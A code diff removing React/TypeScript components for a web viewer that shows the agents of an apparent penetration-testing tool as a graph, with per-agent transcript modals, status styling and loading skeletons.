// during the close animation, after the parent has cleared the selection.
|
||||
const lastAgentRef = useRef<TranscriptAgent | null>(agent);
|
||||
useEffect(() => {
|
||||
if (agent) lastAgentRef.current = agent;
|
||||
}, [agent]);
|
||||
const shownAgent = agent ?? lastAgentRef.current;
|
||||
|
||||
useEffect(() => {
|
||||
if (open) {
|
||||
setRender(true);
|
||||
setState("open");
|
||||
return;
|
||||
}
|
||||
setState("closed");
|
||||
const t = setTimeout(() => setRender(false), 140);
|
||||
return () => clearTimeout(t);
|
||||
}, [open]);
|
||||
|
||||
// Mount the transcript a frame after the shell is on screen.
|
||||
useEffect(() => {
|
||||
if (!render) {
|
||||
setContentReady(false);
|
||||
return;
|
||||
}
|
||||
const id = requestAnimationFrame(() => setContentReady(true));
|
||||
return () => cancelAnimationFrame(id);
|
||||
}, [render]);
|
||||
|
||||
const handleScroll = useCallback(() => {
|
||||
const el = scrollRef.current;
|
||||
if (!el) return;
|
||||
nearBottom.current = el.scrollHeight - el.scrollTop - el.clientHeight < NEAR_BOTTOM_PX;
|
||||
}, []);
|
||||
|
||||
// Follow new activity when the user is near the bottom (live trailing).
|
||||
useEffect(() => {
|
||||
const el = scrollRef.current;
|
||||
if (!el || !nearBottom.current) return;
|
||||
requestAnimationFrame(() => {
|
||||
el.scrollTo({ top: el.scrollHeight, behavior: "smooth" });
|
||||
});
|
||||
}, [events]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!render) return;
|
||||
const onKey = (e: KeyboardEvent) => {
|
||||
if (e.key === "Escape") onClose();
|
||||
};
|
||||
document.addEventListener("keydown", onKey);
|
||||
const prevOverflow = document.body.style.overflow;
|
||||
document.body.style.overflow = "hidden";
|
||||
return () => {
|
||||
document.removeEventListener("keydown", onKey);
|
||||
document.body.style.overflow = prevOverflow;
|
||||
};
|
||||
}, [render, onClose]);
|
||||
|
||||
if (!render || !shownAgent) return null;
|
||||
|
||||
return (
|
||||
<div
|
||||
data-state={state}
|
||||
className="agent-modal fixed inset-0 z-50 flex items-center justify-center bg-black/80 p-4 sm:p-8"
|
||||
onClick={onClose}
|
||||
role="dialog"
|
||||
aria-modal="true"
|
||||
aria-label={`Agent ${shownAgent.name}`}
|
||||
>
|
||||
<div
|
||||
className="relative flex h-[60vh] w-[calc(100vw-4rem)] max-w-6xl flex-col overflow-hidden rounded-xl border border-[#222] bg-[#0a0a0a] shadow-2xl"
|
||||
onClick={(e) => e.stopPropagation()}
|
||||
>
|
||||
<div className="flex items-center justify-between gap-3 border-b border-[#222] px-5 py-3.5">
|
||||
<div className="flex min-w-0 items-center gap-2">
|
||||
<span
|
||||
className={`h-2 w-2 flex-shrink-0 rounded-full ${STATUS_DOT[shownAgent.status] ?? "bg-[#888]"}`}
|
||||
/>
|
||||
<span className="truncate text-sm font-semibold text-white">{shownAgent.name}</span>
|
||||
<span className="flex-shrink-0 font-mono text-xs text-[#555]">{shownAgent.id}</span>
|
||||
</div>
|
||||
<button
|
||||
type="button"
|
||||
onClick={onClose}
|
||||
aria-label="Close"
|
||||
className="flex-shrink-0 rounded-md p-1 text-[#888] transition-colors hover:bg-[#1a1a1a] hover:text-white"
|
||||
>
|
||||
<X className="h-4 w-4" />
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<div ref={scrollRef} onScroll={handleScroll} className="flex-1 overflow-y-auto p-5">
|
||||
{contentReady && (
|
||||
<AgentTranscript agent={shownAgent} events={events} showHeader={false} />
|
||||
)}
|
||||
</div>
|
||||
|
||||
{steerable && (
|
||||
<div className="border-t border-[#222] px-5 py-3">
|
||||
<ScanPromptComposer
|
||||
agents={[shownAgent]}
|
||||
fixedAgentId={shownAgent.id}
|
||||
className="mt-0"
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default AgentDetailModal;
|
||||
@@ -1,254 +0,0 @@
|
||||
"use client";
|
||||
|
||||
import { useCallback, useEffect, useRef, useState } from "react";
|
||||
import {
|
||||
ReactFlow,
|
||||
Background,
|
||||
Controls,
|
||||
MiniMap,
|
||||
useNodesState,
|
||||
useEdgesState,
|
||||
useReactFlow,
|
||||
type Node,
|
||||
type Edge,
|
||||
} from "@xyflow/react";
|
||||
import dagre from "@dagrejs/dagre";
|
||||
import AgentNodeComponent from "./AgentNode";
|
||||
import GraphSkeleton from "./GraphSkeleton";
|
||||
import type { AgentNode } from "@/types/events";
|
||||
|
||||
import "@xyflow/react/dist/style.css";
|
||||
|
||||
const NODE_WIDTH = 260;
|
||||
const NODE_HEIGHT = 80;
|
||||
|
||||
const nodeTypes = { agentNode: AgentNodeComponent };
|
||||
|
||||
function getLayoutedElements(
|
||||
agents: Map<string, AgentNode>,
|
||||
selectedAgentId: string | null
|
||||
) {
|
||||
const g = new dagre.graphlib.Graph();
|
||||
g.setDefaultEdgeLabel(() => ({}));
|
||||
g.setGraph({ rankdir: "TB", nodesep: 60, ranksep: 80 });
|
||||
|
||||
const nodes: Node[] = [];
|
||||
const edges: Edge[] = [];
|
||||
|
||||
for (const [id, agent] of agents) {
|
||||
g.setNode(id, { width: NODE_WIDTH, height: NODE_HEIGHT });
|
||||
nodes.push({
|
||||
id,
|
||||
type: "agentNode",
|
||||
position: { x: 0, y: 0 },
|
||||
data: { ...agent, isSelected: id === selectedAgentId },
|
||||
});
|
||||
|
||||
if (agent.parentId && agents.has(agent.parentId)) {
|
||||
const edgeId = `${agent.parentId}->${id}`;
|
||||
g.setEdge(agent.parentId, id);
|
||||
edges.push({
|
||||
id: edgeId,
|
||||
source: agent.parentId,
|
||||
target: id,
|
||||
style: { stroke: "#2a2a2a", strokeWidth: 1.5 },
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
dagre.layout(g);
|
||||
|
||||
for (const node of nodes) {
|
||||
const pos = g.node(node.id);
|
||||
if (pos) {
|
||||
node.position = {
|
||||
x: pos.x - NODE_WIDTH / 2,
|
||||
y: pos.y - NODE_HEIGHT / 2,
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
return { nodes, edges };
|
||||
}
|
||||
|
||||
const ZOOM_DURATION = 300;
|
||||
|
||||
|
||||
/** Centers viewport on the root node (no parentId) at a fixed zoom — only once on first load */
|
||||
function CenterOnRoot({ nodes }: { nodes: Node[] }) {
|
||||
const { setCenter } = useReactFlow();
|
||||
const hasCentered = useRef(false);
|
||||
useEffect(() => {
|
||||
if (nodes.length > 0 && !hasCentered.current) {
|
||||
const root = nodes.find((n) => !(n.data as Record<string, unknown>).parentId);
|
||||
const target = root ?? nodes[0];
|
||||
hasCentered.current = true;
|
||||
const cx = target.position.x + NODE_WIDTH / 2;
|
||||
const cy = target.position.y + NODE_HEIGHT / 2;
|
||||
setTimeout(() => setCenter(cx, cy, { zoom: 0.85, duration: 400 }), 60);
|
||||
}
|
||||
}, [nodes, setCenter]);
|
||||
return null;
|
||||
}
|
||||
|
||||
function SmoothControls() {
|
||||
const { zoomIn, zoomOut, fitView } = useReactFlow();
|
||||
return (
|
||||
<Controls
|
||||
position="bottom-right"
|
||||
showZoom={false}
|
||||
showFitView={false}
|
||||
showInteractive={false}
|
||||
className="!bg-transparent !border-none !shadow-none"
|
||||
>
|
||||
<div className="flex flex-col overflow-hidden rounded-lg border border-[#222]">
|
||||
<button onClick={() => zoomIn({ duration: ZOOM_DURATION })} className="flex items-center justify-center w-7 h-7 bg-[#111] text-white hover:bg-[#2a2a2a] transition-colors" title="Zoom in">
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth={2} className="w-3.5 h-3.5"><path d="M12 5v14M5 12h14" /></svg>
|
||||
</button>
|
||||
<button onClick={() => zoomOut({ duration: ZOOM_DURATION })} className="flex items-center justify-center w-7 h-7 bg-[#111] text-white hover:bg-[#2a2a2a] border-y border-[#222] transition-colors" title="Zoom out">
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth={2} className="w-3.5 h-3.5"><path d="M5 12h14" /></svg>
|
||||
</button>
|
||||
<button onClick={() => fitView({ padding: 0.3, duration: ZOOM_DURATION })} className="flex items-center justify-center w-7 h-7 bg-[#111] text-white hover:bg-[#2a2a2a] transition-colors" title="Fit view">
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth={2} className="w-3.5 h-3.5"><path d="M15 3h6v6M9 21H3v-6M21 3l-7 7M3 21l7-7" /></svg>
|
||||
</button>
|
||||
</div>
|
||||
</Controls>
|
||||
);
|
||||
}
|
||||
|
||||
interface AgentGraphProps {
|
||||
agents: Map<string, AgentNode>;
|
||||
selectedAgentId: string | null;
|
||||
onSelectAgent: (id: string | null) => void;
|
||||
eventsLoaded?: boolean;
|
||||
eventsEmpty?: boolean;
|
||||
scanCompleted?: boolean;
|
||||
}
|
||||
|
||||
export default function AgentGraph({
|
||||
agents,
|
||||
selectedAgentId,
|
||||
onSelectAgent,
|
||||
eventsLoaded,
|
||||
eventsEmpty,
|
||||
scanCompleted,
|
||||
}: AgentGraphProps) {
|
||||
const [nodes, setNodes, onNodesChange] = useNodesState<Node>([]);
|
||||
const [edges, setEdges, onEdgesChange] = useEdgesState<Edge>([]);
|
||||
|
||||
useEffect(() => {
|
||||
if (agents.size === 0) return;
|
||||
const { nodes: ln, edges: le } = getLayoutedElements(agents, selectedAgentId);
|
||||
setNodes(ln);
|
||||
setEdges(le);
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, [agents.size, setNodes, setEdges]);
|
||||
|
||||
// Sync agent data (status, name, etc.) into existing nodes without re-layout
|
||||
useEffect(() => {
|
||||
if (agents.size === 0) return;
|
||||
setNodes((nds) =>
|
||||
nds.map((n) => {
|
||||
const agent = agents.get(n.id);
|
||||
if (!agent) return n;
|
||||
return { ...n, data: { ...agent, isSelected: n.id === selectedAgentId } };
|
||||
})
|
||||
);
|
||||
}, [agents, selectedAgentId, setNodes]);
|
||||
|
||||
const nodeClickedRef = useRef(false);
|
||||
|
||||
const onNodeClick = useCallback(
|
||||
(_: React.MouseEvent, node: Node) => {
|
||||
nodeClickedRef.current = true;
|
||||
onSelectAgent(node.id);
|
||||
},
|
||||
[onSelectAgent]
|
||||
);
|
||||
|
||||
const onPaneClick = useCallback(() => {
|
||||
if (nodeClickedRef.current) {
|
||||
nodeClickedRef.current = false;
|
||||
return;
|
||||
}
|
||||
onSelectAgent(null);
|
||||
}, [onSelectAgent]);
|
||||
|
||||
// Convex responded, zero events — show empty state (not skeleton)
|
||||
if (agents.size === 0 && eventsLoaded && eventsEmpty) {
|
||||
return (
|
||||
<div className="flex flex-col items-center justify-center h-full text-center px-4">
|
||||
<div className="w-10 h-10 mb-3 rounded-full bg-[#111] flex items-center justify-center">
|
||||
{scanCompleted ? (
|
||||
<svg className="w-5 h-5 text-[#444]" fill="none" viewBox="0 0 24 24" stroke="currentColor" strokeWidth={1.5}>
|
||||
<path strokeLinecap="round" strokeLinejoin="round" d="M3.75 6A2.25 2.25 0 0 1 6 3.75h2.25A2.25 2.25 0 0 1 10.5 6v2.25a2.25 2.25 0 0 1-2.25 2.25H6a2.25 2.25 0 0 1-2.25-2.25V6ZM3.75 15.75A2.25 2.25 0 0 1 6 13.5h2.25a2.25 2.25 0 0 1 2.25 2.25V18a2.25 2.25 0 0 1-2.25 2.25H6A2.25 2.25 0 0 1 3.75 18v-2.25ZM13.5 6a2.25 2.25 0 0 1 2.25-2.25H18A2.25 2.25 0 0 1 20.25 6v2.25A2.25 2.25 0 0 1 18 10.5h-2.25a2.25 2.25 0 0 1-2.25-2.25V6ZM13.5 15.75a2.25 2.25 0 0 1 2.25-2.25H18a2.25 2.25 0 0 1 2.25 2.25V18A2.25 2.25 0 0 1 18 20.25h-2.25a2.25 2.25 0 0 1-2.25-2.25v-2.25Z" />
|
||||
</svg>
|
||||
) : (
|
||||
<div className="w-2 h-2 rounded-full bg-blue-500 animate-pulse" />
|
||||
)}
|
||||
</div>
|
||||
<p className="text-sm text-[#555]">
|
||||
{scanCompleted
|
||||
? "Agent trace data is not available for this pentest"
|
||||
: "Waiting for agent data\u2026"}
|
||||
</p>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
const showGraph = agents.size > 0;
|
||||
|
||||
return (
|
||||
<div className="relative h-full">
|
||||
{/* Skeleton overlay — fades out when graph is ready */}
|
||||
<div
|
||||
className={`absolute inset-0 z-10 transition-opacity duration-500 ${
|
||||
showGraph ? "opacity-0 pointer-events-none" : "opacity-100"
|
||||
}`}
|
||||
>
|
||||
<GraphSkeleton />
|
||||
</div>
|
||||
|
||||
{/* Graph — fades in */}
|
||||
<div
|
||||
className={`h-full transition-opacity duration-500 ${
|
||||
showGraph ? "opacity-100" : "opacity-0"
|
||||
}`}
|
||||
>
|
||||
<ReactFlow
|
||||
nodes={nodes}
|
||||
edges={edges}
|
||||
onNodesChange={onNodesChange}
|
||||
onEdgesChange={onEdgesChange}
|
||||
onNodeClick={onNodeClick}
|
||||
onPaneClick={onPaneClick}
|
||||
nodeTypes={nodeTypes}
|
||||
nodesConnectable={false}
|
||||
edgesFocusable={false}
|
||||
edgesReconnectable={false}
|
||||
minZoom={0.15}
|
||||
maxZoom={1.5}
|
||||
proOptions={{ hideAttribution: true }}
|
||||
className="bg-black"
|
||||
>
|
||||
<Background color="#111" gap={20} />
|
||||
<CenterOnRoot nodes={nodes} />
|
||||
<SmoothControls />
|
||||
<MiniMap
|
||||
position="bottom-left"
|
||||
nodeColor={(n) => {
|
||||
const status = (n.data as Record<string, unknown>)?.status as string;
|
||||
if (status === "running") return "#3b82f6";
|
||||
if (status === "completed") return "#10b981";
|
||||
if (status === "failed" || status === "error") return "#ef4444";
|
||||
return "#555";
|
||||
}}
|
||||
maskColor="rgba(0,0,0,0.8)"
|
||||
style={{ width: 80, height: 50 }}
|
||||
className="!bg-[#0a0a0a] !border-[#222]"
|
||||
/>
|
||||
</ReactFlow>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,48 +0,0 @@
|
||||
"use client";
|
||||
|
||||
import { memo } from "react";
|
||||
import { Handle, Position, type NodeProps } from "@xyflow/react";
|
||||
import type { AgentNode as AgentNodeData } from "@/types/events";
|
||||
|
||||
const STATUS_STYLES: Record<string, string> = {
|
||||
running: "bg-blue-500",
|
||||
completed: "bg-emerald-500",
|
||||
failed: "bg-red-500",
|
||||
error: "bg-red-500",
|
||||
};
|
||||
|
||||
function AgentNodeComponent({ data, selected }: NodeProps) {
|
||||
const agent = data as unknown as AgentNodeData & { isSelected: boolean };
|
||||
|
||||
return (
|
||||
<div
|
||||
className={`w-[260px] rounded-lg border px-4 py-3 transition-colors ${
|
||||
agent.isSelected || selected
|
||||
? "border-white/30 bg-[#0a0a0a]"
|
||||
: "border-[#222] bg-black hover:border-[#333]"
|
||||
}`}
|
||||
>
|
||||
<Handle type="target" position={Position.Top} isConnectable={false} className={`!w-1.5 !h-1.5 !border-0 ${agent.parentId ? "!bg-[#444]" : "!bg-transparent"}`} />
|
||||
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="relative flex h-2 w-2 shrink-0">
|
||||
<span
|
||||
className={`absolute inline-flex h-full w-full rounded-full opacity-75 ${STATUS_STYLES[agent.status] ?? "bg-gray-500"} ${
|
||||
agent.status === "running" ? "animate-ping" : ""
|
||||
}`}
|
||||
/>
|
||||
<span
|
||||
className={`relative inline-flex h-2 w-2 rounded-full ${STATUS_STYLES[agent.status] ?? "bg-gray-500"}`}
|
||||
/>
|
||||
</span>
|
||||
<span className="text-sm font-semibold text-white leading-snug line-clamp-3">
|
||||
{agent.name}
|
||||
</span>
|
||||
</div>
|
||||
|
||||
<Handle type="source" position={Position.Bottom} isConnectable={false} className={`!w-1.5 !h-1.5 !border-0 ${agent.children && agent.children.length > 0 ? "!bg-[#444]" : "!bg-transparent"}`} />
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default memo(AgentNodeComponent);
|
||||
@@ -1,302 +0,0 @@
|
||||
import { Component, useMemo, type ReactNode } from "react";
|
||||
import { Brain, Bot } from "lucide-react";
|
||||
import { getToolRenderer, getToolIcon } from "./tool-renderers";
|
||||
import ChatBubble from "./tool-renderers/ChatBubble";
|
||||
import type { ToolRendererProps, AgentNode as GraphAgentNode } from "@/types/events";
|
||||
import type { TranscriptAgent, TranscriptEvent } from "@/data/serverSource";
|
||||
|
||||
/* ---------- Error boundary so one bad event never blanks the transcript ---------- */
|
||||
class RendererErrorBoundary extends Component<
|
||||
{ toolName: string; children: ReactNode },
|
||||
{ hasError: boolean }
|
||||
> {
|
||||
constructor(props: { toolName: string; children: ReactNode }) {
|
||||
super(props);
|
||||
this.state = { hasError: false };
|
||||
}
|
||||
static getDerivedStateFromError() {
|
||||
return { hasError: true };
|
||||
}
|
||||
render() {
|
||||
if (this.state.hasError) {
|
||||
return (
|
||||
<span className="text-[#555] font-semibold text-sm">
|
||||
{this.props.toolName.replace(/_/g, " ")}
|
||||
</span>
|
||||
);
|
||||
}
|
||||
return this.props.children;
|
||||
}
|
||||
}
|
||||
|
||||
function SafeToolRenderer(props: ToolRendererProps) {
|
||||
const Renderer = getToolRenderer(props.toolName);
|
||||
return (
|
||||
<RendererErrorBoundary toolName={props.toolName}>
|
||||
<Renderer {...props} />
|
||||
</RendererErrorBoundary>
|
||||
);
|
||||
}
|
||||
|
||||
/* ---------- Value coercion ----------
|
||||
* args/result arrive as either a JSON object or a Python-repr string
|
||||
* ("{'thought': '...'}"). Try JSON, then a naive python->json pass, then wrap
|
||||
* the raw string so the fallback renderer can display it. Never throws. */
|
||||
function coerce(value: unknown): unknown {
|
||||
if (value == null || typeof value !== "string") return value;
|
||||
const t = value.trim();
|
||||
if (!t) return value;
|
||||
try {
|
||||
return JSON.parse(t);
|
||||
} catch {
|
||||
/* not JSON */
|
||||
}
|
||||
try {
|
||||
const jsonish = t
|
||||
.replace(/\bNone\b/g, "null")
|
||||
.replace(/\bTrue\b/g, "true")
|
||||
.replace(/\bFalse\b/g, "false")
|
||||
.replace(/'/g, '"');
|
||||
return JSON.parse(jsonish);
|
||||
} catch {
|
||||
return { __raw: value };
|
||||
}
|
||||
}
|
||||
|
||||
function asRecord(value: unknown): Record<string, unknown> {
|
||||
const c = coerce(value);
|
||||
if (c && typeof c === "object" && !Array.isArray(c)) return c as Record<string, unknown>;
|
||||
if (c == null) return {};
|
||||
return { __raw: typeof c === "string" ? c : JSON.stringify(c) };
|
||||
}
|
||||
|
||||
/** Numeric suffix of an event id ("tool_37" -> 37) for stable ordering. */
|
||||
function eventSeq(id: string): number {
|
||||
const m = /(\d+)$/.exec(id);
|
||||
return m ? parseInt(m[1], 10) : 0;
|
||||
}
|
||||
|
||||
/** A chat event whose author is the human/user (vs an assistant "thinking"). */
|
||||
function isUserChat(event: TranscriptEvent): boolean {
|
||||
const role = event.data?.role;
|
||||
return event.type === "chat" && (role === "user" || role === "human");
|
||||
}
|
||||
|
||||
/**
|
||||
* Inter-agent message deliveries land in the recipient's session as user-role
|
||||
* items prefixed with a header (see the engine's message formatter). They are
|
||||
* already represented via the sending agent's tool renderer, so we never render
|
||||
* them as chat bubbles here.
|
||||
*/
|
||||
function isInterAgentDelivery(event: TranscriptEvent): boolean {
|
||||
return isUserChat(event) && String(event.data?.content ?? "").startsWith("[Message from ");
|
||||
}
|
||||
|
||||
/**
|
||||
* The reconstructed SDK session records every incoming user-role item for an
|
||||
* agent: its initial input (the root's assembled brief, or a subagent's spawn /
|
||||
* inherited-context prompt), inter-agent deliveries, AND genuine human steering
|
||||
* messages sent live from the viewer or TUI. We only want the last group. Given
|
||||
* an agent's events in order, hide the first user message (its initial input)
|
||||
* and every inter-agent delivery; keep the rest, which are the human's live
|
||||
* instructions, rendered as "User" bubbles.
|
||||
*/
|
||||
function hiddenUserEventIds(agentEventsInOrder: TranscriptEvent[]): Set<string> {
|
||||
const hidden = new Set<string>();
|
||||
let sawInitialInput = false;
|
||||
for (const e of agentEventsInOrder) {
|
||||
if (!isUserChat(e)) continue;
|
||||
if (isInterAgentDelivery(e)) {
|
||||
hidden.add(e.id);
|
||||
continue;
|
||||
}
|
||||
if (!sawInitialInput) {
|
||||
sawInitialInput = true;
|
||||
hidden.add(e.id);
|
||||
}
|
||||
}
|
||||
return hidden;
|
||||
}
|
||||
|
||||
const STATUS_STYLE: Record<string, string> = {
|
||||
completed: "text-emerald-400 border-emerald-500/30 bg-emerald-500/10",
|
||||
running: "text-blue-400 border-blue-500/30 bg-blue-500/10",
|
||||
waiting: "text-yellow-400 border-yellow-500/30 bg-yellow-500/10",
|
||||
stopped: "text-[#aaa] border-[#333] bg-[#1a1a1a]",
|
||||
crashed: "text-red-400 border-red-500/30 bg-red-500/10",
|
||||
failed: "text-red-400 border-red-500/30 bg-red-500/10",
|
||||
};
|
||||
|
||||
/** Map our engine agent statuses onto the graph node's status union. */
|
||||
function graphStatus(status: string): GraphAgentNode["status"] {
|
||||
if (status === "completed") return "completed";
|
||||
if (status === "running") return "running";
|
||||
if (status === "failed" || status === "crashed") return "failed";
|
||||
// waiting / stopped / unknown → keep the raw string; AgentNode/MiniMap fall
|
||||
// back to a neutral gray for anything they don't explicitly style.
|
||||
return status as GraphAgentNode["status"];
|
||||
}
|
||||
|
||||
/**
|
||||
* Adapt transcript agents + events into the Map<id, AgentNode> that the live
|
||||
* AgentGraph renders: children from parent_id, tool/message counts by scanning
|
||||
* events, and a task pulled from the spawning create_agent call where present.
|
||||
*/
|
||||
export function buildGraphAgents(
|
||||
agents: TranscriptAgent[],
|
||||
events: TranscriptEvent[]
|
||||
): Map<string, GraphAgentNode> {
|
||||
const childrenOf = new Map<string, string[]>();
|
||||
for (const a of agents) {
|
||||
if (a.parent_id) {
|
||||
const arr = childrenOf.get(a.parent_id) ?? [];
|
||||
arr.push(a.id);
|
||||
childrenOf.set(a.parent_id, arr);
|
||||
}
|
||||
}
|
||||
|
||||
const toolCount = new Map<string, number>();
|
||||
const messageCount = new Map<string, number>();
|
||||
// A create_agent call names the child but not its id, so map spawned tasks by
|
||||
// agent NAME (best-effort — used only for the graph node subtitle).
|
||||
const taskByName = new Map<string, string>();
|
||||
for (const e of events) {
|
||||
if (e.type === "tool") {
|
||||
toolCount.set(e.agent_id, (toolCount.get(e.agent_id) ?? 0) + 1);
|
||||
if (e.data?.tool_name === "create_agent") {
|
||||
const args = asRecord(e.data.args);
|
||||
const name = (args.name as string) ?? (args.agent_name as string) ?? "";
|
||||
const task = (args.task as string) ?? "";
|
||||
if (name && task) taskByName.set(name, task);
|
||||
}
|
||||
} else if (!isUserChat(e)) {
|
||||
// Count only assistant messages for the graph node subtitle.
|
||||
messageCount.set(e.agent_id, (messageCount.get(e.agent_id) ?? 0) + 1);
|
||||
}
|
||||
}
|
||||
|
||||
const map = new Map<string, GraphAgentNode>();
|
||||
for (const a of agents) {
|
||||
map.set(a.id, {
|
||||
id: a.id,
|
||||
name: a.name,
|
||||
task: taskByName.get(a.name) ?? "",
|
||||
status: graphStatus(a.status),
|
||||
parentId: a.parent_id,
|
||||
children: childrenOf.get(a.id) ?? [],
|
||||
createdAt: a.created_at,
|
||||
toolCount: toolCount.get(a.id) ?? 0,
|
||||
messageCount: messageCount.get(a.id) ?? 0,
|
||||
});
|
||||
}
|
||||
return map;
|
||||
}
|
||||
|
||||
/* ---------- Per-agent transcript ---------- */
|
||||
export function AgentTranscript({
|
||||
agent,
|
||||
events,
|
||||
showHeader = true,
|
||||
}: {
|
||||
agent: TranscriptAgent;
|
||||
events: TranscriptEvent[];
|
||||
showHeader?: boolean;
|
||||
}) {
|
||||
const mine = useMemo(() => {
|
||||
const ordered = events
|
||||
.filter((e) => e.agent_id === agent.id)
|
||||
.sort((a, b) => eventSeq(a.id) - eventSeq(b.id));
|
||||
const hidden = hiddenUserEventIds(ordered);
|
||||
return ordered.filter((e) => !hidden.has(e.id));
|
||||
}, [events, agent.id]);
|
||||
|
||||
const toolCount = mine.filter((e) => e.type === "tool").length;
|
||||
const msgCount = mine.length - toolCount;
|
||||
|
||||
return (
|
||||
<div>
|
||||
{showHeader && (
|
||||
<>
|
||||
<div className="flex items-center gap-2 flex-wrap mb-1">
|
||||
<span className="text-base font-semibold text-white truncate">{agent.name}</span>
|
||||
<span
|
||||
className={`flex-shrink-0 text-xs font-medium capitalize px-2 py-0.5 rounded-full border ${
|
||||
STATUS_STYLE[agent.status] ?? "text-[#aaa] border-[#333] bg-[#1a1a1a]"
|
||||
}`}
|
||||
>
|
||||
{agent.status}
|
||||
</span>
|
||||
<span className="font-mono text-xs text-[#555]">{agent.id}</span>
|
||||
</div>
|
||||
<p className="text-xs text-[#666] mb-4">
|
||||
{msgCount} message{msgCount === 1 ? "" : "s"} · {toolCount} tool call
|
||||
{toolCount === 1 ? "" : "s"}
|
||||
</p>
|
||||
</>
|
||||
)}
|
||||
|
||||
{mine.length === 0 ? (
|
||||
<p className="text-sm text-[#666]">No recorded activity for this agent.</p>
|
||||
) : (
|
||||
<div className="py-1">
|
||||
{mine.map((event, i) => {
|
||||
const isLast = i === mine.length - 1;
|
||||
const isTool = event.type === "tool";
|
||||
const toolName = isTool ? String(event.data?.tool_name ?? "tool") : "";
|
||||
const role = !isTool ? String(event.data?.role ?? "assistant") : "";
|
||||
|
||||
let Icon;
|
||||
let iconColor: string;
|
||||
if (isTool) {
|
||||
const meta = getToolIcon(toolName);
|
||||
Icon = meta.icon;
|
||||
iconColor = meta.color;
|
||||
} else {
|
||||
const isUser = role === "user" || role === "human";
|
||||
Icon = isUser ? Bot : Brain;
|
||||
iconColor = isUser ? "text-blue-400" : "text-purple-400";
|
||||
}
|
||||
|
||||
const status = isTool ? String(event.data?.status ?? "completed") : "completed";
|
||||
|
||||
return (
|
||||
<div key={event.id} className="flex gap-3">
|
||||
<div className="flex flex-col items-center shrink-0">
|
||||
<div
|
||||
className={`w-[30px] h-[30px] rounded-full bg-black border flex items-center justify-center shrink-0 ${
|
||||
isTool && status === "running"
|
||||
? "border-blue-500/40 animate-pulse"
|
||||
: isTool && status === "failed"
|
||||
? "border-red-500/30"
|
||||
: "border-[#222]"
|
||||
}`}
|
||||
>
|
||||
<Icon className={`w-3.5 h-3.5 ${iconColor}`} />
|
||||
</div>
|
||||
{!isLast && <div className="w-px flex-1 bg-[#1a1a1a] mt-1" />}
|
||||
</div>
|
||||
<div className="flex-1 min-w-0 pt-[5px] pb-6">
|
||||
{isTool ? (
|
||||
<SafeToolRenderer
|
||||
toolName={toolName}
|
||||
args={asRecord(event.data?.args)}
|
||||
result={coerce(event.data?.result) ?? null}
|
||||
status={
|
||||
status as ToolRendererProps["status"]
|
||||
}
|
||||
/>
|
||||
) : (
|
||||
<ChatBubble
|
||||
role={role}
|
||||
content={String(event.data?.content ?? "")}
|
||||
/>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,70 +0,0 @@
|
||||
"use client";
|
||||
|
||||
function SkeletonNode({ w = 24 }: { w?: number }) {
|
||||
return (
|
||||
<div className="w-[180px] h-[72px] rounded-lg border border-[#222] bg-[#0a0a0a] px-3 py-2 shrink-0">
|
||||
<div className="flex items-center gap-2 mb-1.5">
|
||||
<div className="w-2 h-2 rounded-full bg-[#2a2a2a]" />
|
||||
<div className="h-3 rounded bg-[#252525]" style={{ width: `${w * 4}px` }} />
|
||||
</div>
|
||||
<div className="h-2 w-28 rounded bg-[#1e1e1e] mb-1.5" />
|
||||
<div className="flex gap-3">
|
||||
<div className="h-2 w-8 rounded bg-[#1e1e1e]" />
|
||||
<div className="h-2 w-8 rounded bg-[#1e1e1e]" />
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function VLine() {
|
||||
return <div className="w-px h-6 bg-[#2a2a2a]" />;
|
||||
}
|
||||
|
||||
function HBranch({ count }: { count: number }) {
|
||||
return (
|
||||
<div className="relative flex justify-center">
|
||||
<div className="absolute top-0 h-px bg-[#2a2a2a]" style={{ width: `${(count - 1) * 220}px` }} />
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default function GraphSkeleton() {
|
||||
return (
|
||||
<div className="h-full bg-black overflow-hidden">
|
||||
<div className="flex flex-col items-center pt-10 animate-pulse">
|
||||
<SkeletonNode w={20} />
|
||||
<VLine />
|
||||
<HBranch count={3} />
|
||||
<div className="flex gap-10">
|
||||
{[18, 22, 16].map((w, i) => (
|
||||
<div key={i} className="flex flex-col items-center">
|
||||
<VLine />
|
||||
<SkeletonNode w={w} />
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
<div className="flex gap-10 w-full justify-center">
|
||||
<div className="flex flex-col items-center">
|
||||
<VLine />
|
||||
<HBranch count={2} />
|
||||
<div className="flex gap-10">
|
||||
{[14, 20].map((w, i) => (
|
||||
<div key={i} className="flex flex-col items-center">
|
||||
<VLine />
|
||||
<SkeletonNode w={w} />
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
<div className="flex flex-col items-center">
|
||||
<VLine />
|
||||
<SkeletonNode w={18} />
|
||||
<VLine />
|
||||
<SkeletonNode w={12} />
|
||||
</div>
|
||||
<div className="w-[180px]" />
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,315 +0,0 @@
|
||||
import {
|
||||
useCallback,
|
||||
useEffect,
|
||||
useLayoutEffect,
|
||||
useMemo,
|
||||
useRef,
|
||||
useState,
|
||||
} from "react";
|
||||
import { ArrowUp, ChevronDown, ChevronUp, Loader2, Sparkles } from "lucide-react";
|
||||
import { steerAgent, type TranscriptAgent } from "@/data/serverSource";
|
||||
